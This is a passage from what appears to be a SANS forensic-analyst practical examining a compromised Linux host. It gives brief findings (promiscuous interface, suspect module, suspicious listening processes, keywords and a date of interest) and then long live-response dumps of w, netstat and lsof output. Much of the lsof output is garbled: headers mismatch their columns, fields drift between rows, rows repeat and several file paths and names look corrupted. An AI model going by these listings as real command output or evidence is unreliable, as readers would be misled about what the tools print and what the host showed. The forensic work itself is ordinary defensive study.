<td>[weit &lt;defunct&gt;]</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The lsmod.txt file was analysed to look at what kernel modules were loaded. A Module that required further investigation was nls_iso8859-1.

The netstat-routes.txt file showed no added routes. The ifconfig.txt file did show the eth0 interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the proc-filelist.txt file provided little benefit. The command used was a directory listing using ls –al of the /proc filesystem. The command should have included the command switch for recursive listing of the /proc file system, the correct command is ‘ls –alR’. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the *.txt files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

```
nfsd XXX.XXX.2.23 6660 .X
popauth weith minilogd
.s sshd_config nls_iso8859-1
soundcore 6667 services
```

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.s
```
/x
/usr/bin
/usr/sbin
/sbin
Live response File listings

starttime.txt

Mon Jun 30 17:18:51 CST 2003

w.txt

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01
USER TTY FROM LOGIN IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 7days 0.00s ? -
userid1 pts/1 - 23Jun03 38:58 0.22s 0.00s ls <defunct>
userid1 pts/2 - Fri 8am 4.00s 0.71s 0.01s /mnt/cdrom/nc 1
userid1 pts/3 - 4:44pm 38:14 0.15s 0.07s -bash

netsat-sockets.txt

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
tcp 0 0 0.0.0.0:199 0.0.0.0:* LISTEN 8154/snmpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 8125/httpd
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1066/X
tcp 0 0 0.0.0.0:18 0.0.0.0:* LISTEN 19811/nfsd
udp 0 0 0.0.0.0:1031 0.0.0.0:* LISTEN 19941/services
udp 0 0 0.0.0.0:1032 0.0.0.0:* LISTEN 19941/services
udp 0 0 0.0.0.0:161 0.0.0.0:* LISTEN 19941/services
udp 0 0 0.0.0.0:3049 0.0.0.0:* LISTEN 19685/popauth
udp 0 0 192.168.2.15:123 0.0.0.0:* LISTEN 790/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* LISTEN 790/ntpd
raw 0 0 0.0.0.0:6 0.0.0.0:* 7 -

Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 1638 935/gpm /dev/gpmctl
unix 2 [ ACC ] STREAM LISTENING 551280 19635/minilogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1704 1005/xfs /tmp/.font
unix 2 [ ACC ] STREAM LISTENING 2256 1192/artsd /tmp/mcop
unix 2 [ ACC ] STREAM LISTENING 2158 1175/kdeinit:Runni /tmp/ksocket
unix 2 [ ACC ] STREAM LISTENING 2182 1181/kdeinit:klauen /tmp/ksocket-
unix 2 [ ACC ] STREAM LISTENING 280021 6135/kdesud /tmp/ksocket-
unix 3 [ ] STREAM CONNECTED 715235 1178/kdeinit: dcops /tmp/.ICE-unix.dcpl170-
unix 3 [ ] STREAM CONNECTED 715234 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715231 1210/kdeinit: ksms /tmp/.ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 715230 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715226 1066/X /tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2310 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2305 1178/kdeinit: dcops /tmp/ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2304 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2294 1210/kdeinit: ksmse /tmp/ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 2293 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2290 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2289 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2280 1178/kdeinit: dcops /tmp/ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2279 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2276 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2275 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2267 1210/kdeinit: ksmse /tmp/ksocket-
userid1/kdeinit:-0
unix 3 [ ] STREAM CONNECTED 2266 1208/kwrapper
unix 3 [ ] STREAM CONNECTED 2253 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2252 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2249 1178/kdeinit: dcops /tmp/ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2248 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2209 1066/X /tmp/ICE-unix/X0
unix 3 [ ] STREAM CONNECTED 2208 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 2204 1066/X /tmp/ICE-unix/X0
unix 3 [ ] STREAM CONNECTED 2203 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2189 1178/kdeinit: dcops /tmp/ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2188 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2176 1178/kdeinit: dcops /tmp/ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2175 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/ICE-unix/fs7100
unix 3 [ ] STREAM CONNECTED 1800 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 1794 1067/-:0
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/crond
unix 2 [ ] DGRAM 1621 916/sendmail: accept
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1508 790/ntpd
unix 2 [ ] DGRAM 1264 770/apmd
unix 2 [ ] DGRAM 1124 657/rpc.statd

Isotf.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td>/sbin/init</td>
<td>init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>/lib/ld-2.2.5.so</td>
<td>init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
<td>init</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>keventd</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>keventd</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>keventd</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>keventd</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>kswapd</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>kswapd</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>kswapd</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>kswapd</td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>cdr</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>bdfflush</td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>bdfflush</td>
</tr>
<tr>
<td>bdfflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td>bdfflush</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>PID</td>
<td>Variables</td>
<td>Arguments</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>------------</td>
<td>------</td>
<td>------</td>
<td>-----</td>
<td>-----------</td>
<td>-----------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kupdated</td>
<td>root</td>
<td>cwd</td>
<td>7</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kupdated</td>
<td>root</td>
<td>rtd</td>
<td>7</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mdrecover</td>
<td>root</td>
<td>cwd</td>
<td>8</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mdrecover</td>
<td>root</td>
<td>rtd</td>
<td>8</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>cwd</td>
<td>12</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>rtd</td>
<td>12</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>khubd</td>
<td>root</td>
<td>cwd</td>
<td>91</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>khubd</td>
<td>root</td>
<td>rtd</td>
<td>91</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>cwd</td>
<td>186</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>rtd</td>
<td>186</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>cwd</td>
<td>187</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>rtd</td>
<td>187</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>cwd</td>
<td>188</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>rtd</td>
<td>188</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>cwd</td>
<td>189</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kjournald</td>
<td>root</td>
<td>rtd</td>
<td>189</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rpc.statd</td>
<td>root</td>
<td>cwd</td>
<td>657</td>
<td>3,6</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rpc.statd</td>
<td>root</td>
<td>rtd</td>
<td>657</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apmd</td>
<td>root</td>
<td>cwd</td>
<td>770</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apmd</td>
<td>root</td>
<td>rtd</td>
<td>770</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apmd</td>
<td>root</td>
<td>txt</td>
<td>770</td>
<td>3,2</td>
<td>16488</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ntpd</td>
<td>root</td>
<td>cwd</td>
<td>790</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ntpd</td>
<td>root</td>
<td>rtd</td>
<td>790</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>cwd</td>
<td>842</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>rtd</td>
<td>842</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root 0u CHR 1,3 9637 /dev/null
sshd 842 root 1u CHR 1,3 9637 /dev/null
sshd 842 root 2u IPv4 1508 TCP *:ssh (LISTEN)
ixinetd 875 root cwd DIR 3,5 1024 2 /
ixinetd 875 root rtd DIR 3,5 1024 2 /
ixinetd 875 root txt REG 3,2 0,5 1546 pipe
ixinetd 875 root 8u unix 0xc7ce65a0 1548 socket
sendmail 916 root cwd DIR 3,6 1024 34139 /var/spool/mqueue
sendmail 916 root rtd DIR 3,5 1024 2 /
sendmail 916 root txt REG 3,2 451280 130657 /usr/sbin/sendmail.sendmail
sendmail 916 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
sendmail 916 root mem REG 3,2 8263 130625 /usr/lib/sasl/libanonymous.so.1.0.15
sendmail 916 root mem REG 3,2 13600 130628 /usr/lib/sasl/libdigestmd5.so.0.0.17
sendmail 916 root mem REG 3,2 10670 130631 /usr/lib/sasl/liblogin.so.0.0.5
sendmail 916 root mem REG 3,5 10670 130631 /usr/lib/sasl/liblogin.so.0.0.0.17
sendmail 916 root mem REG 3,5 655224 63493 /lib/libdb-3.3.so
sendmail 916 root mem REG 3,2 191615 130657 /usr/lib/slibdap.so.2.0.15
sendmail 916 root mem REG 3,2 30282 130660 /usr/lib/slibdbm.so.2.0.0
sendmail 916 root mem REG 3,5 207008 130663 /usr/lib/slibssl.so.0.9.6b
sendmail 916 root mem REG 3,5 924879 130665 /usr/lib/libcrypto.so.0.9.6b
sendmail 916 root mem REG 3,2 12102 130669 /usr/lib/libssl.so.0.9.0
sendmail 916 root mem REG 3,5 35340 130674 /usr/lib/libpam.so.0.75
sendmail 916 root mem REG 3,5 45415 130678 /usr/lib/libnss_files.so.2.2.5.so
sendmail 916 root mem REG 3,5 46117 130682 /usr/lib/libnss_nisplus.so.2.2.5.so
sendmail 916 root mem REG 3,2 10260 130685 /usr/lib/slibssl.so.0.1.0.14
sendmail 916 root mem REG 3,5 1401027 130688 /usr/lib/i686/libc.so.3.2.5
sendmail 916 root 0r CHR 1,3 9637 /dev/null
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 3u unix 0xc65c38580 1621 socket
gpm 935 root cwd DIR 3,5 1024 2 /
gpm 935 root rtd DIR 3,5 1024 2 /
gpm 935 root txt REG 3,2 77303 130686 /usr/sbin/gpm
gpm 935 root mem REG 3,5 89547 130690 /lib/ld-2.2.5.so
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 4u IPv4 1622 TCP rhl-smtp (LISTEN)
gpm 935 root txt REG 3,2 77303 130686 /usr/sbin/gpm
gpm 935 root mem REG 3,5 1401027 130693 /usr/sbin/gpm
gpm 935 root 0w CHR 5,1 8271 /dev/console
gpm 935 root 1u REG 3,6 4 38175 /var/run/gpm.pid
sendmail 916 root 3u unix 0xc630aa60 1638 /dev/gpmctl
crond 953 root cwd DIR 3,6 1024 40161 /var/spool/cron
crond 953 root rtd DIR 3,5 1024 2 /
crond 953 root txt REG 3,2 23048 130688 /usr/sbin/crond
crond 953 root mem REG 3,5 89547 130690 /lib/ld-2.2.5.so
cron 953 root txt REG 3,2 45415 130693 /lib/libnss_files.so.2.2.5.so
cron 953 root mem REG 3,5 46117 130694 /lib/libnss_nisplus.so.2.2.5.so
cron 953 root mem REG 3,5 89424 130695 /lib/libnss-2.2.5.so
cron 953 root mem REG 3,5 1401027 130698 /usr/lib/i686/libc.so.3.2.5
cron 953 root 0u CHR 5,1 8271 /dev-console
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Type</th>
<th>Size</th>
<th>Address</th>
<th>Priority</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>crond</td>
<td>root</td>
<td>953</td>
<td>1w</td>
<td>FIFO</td>
<td>0,5</td>
<td>1657 pipe</td>
<td>/var/run/crond.pid</td>
</tr>
<tr>
<td>crond</td>
<td>root</td>
<td>953</td>
<td>2w</td>
<td>FIFO</td>
<td>0,5</td>
<td>1658 pipe</td>
<td>/var/run/crond.pid</td>
</tr>
<tr>
<td>crond</td>
<td>root</td>
<td>953</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>38176 /var/run/crond.pid</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>0r</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>1r</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>2r</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>38177 /var/run/xfs.pid</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>4u</td>
<td>unix</td>
<td>0xc6b8b0c0</td>
<td>1661 socket</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>5u</td>
<td>unix</td>
<td>0xc7817080</td>
<td>1714 socket</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>6u</td>
<td>unix</td>
<td>0xc49a20c0</td>
<td>1801 socket</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>7u</td>
<td>unix</td>
<td>0xc6b8b5c0</td>
<td>1704 /tmp/.font-unix/fs7100</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>8u</td>
<td>unix</td>
<td>0xc7817080</td>
<td>1714 socket</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>9u</td>
<td>unix</td>
<td>0xc6b8b5c0</td>
<td>1704 /tmp/.font-unix/fs7100</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>10u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>11u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>12u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>root</td>
<td>13u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,1</td>
<td>14414 /dev/tty1</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,1</td>
<td>14414 /dev/tty1</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,1</td>
<td>14414 /dev/tty1</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>5 38177 /var/run/atd.pid</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,2</td>
<td>14425 /dev/tty2</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,2</td>
<td>14425 /dev/tty2</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,2</td>
<td>14425 /dev/tty2</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,3</td>
<td>14436 /dev/tty3</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,3</td>
<td>14436 /dev/tty3</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,3</td>
<td>14436 /dev/tty3</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,4</td>
<td>14439 /dev/tty4</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,4</td>
<td>14439 /dev/tty4</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,4</td>
<td>14439 /dev/tty4</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024 2 /</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,5</td>
<td>14440 /dev/tty5</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,5</td>
<td>14440 /dev/tty5</td>
<td></td>
</tr>
</tbody>
</table>
### mingetty

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Priority</th>
<th>CPU Time</th>
<th>PID</th>
<th>Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>mingetty 1054</td>
<td>root</td>
<td>2u</td>
<td>4,5</td>
<td>14440</td>
<td>/dev/tty5</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>mingetty 1055</td>
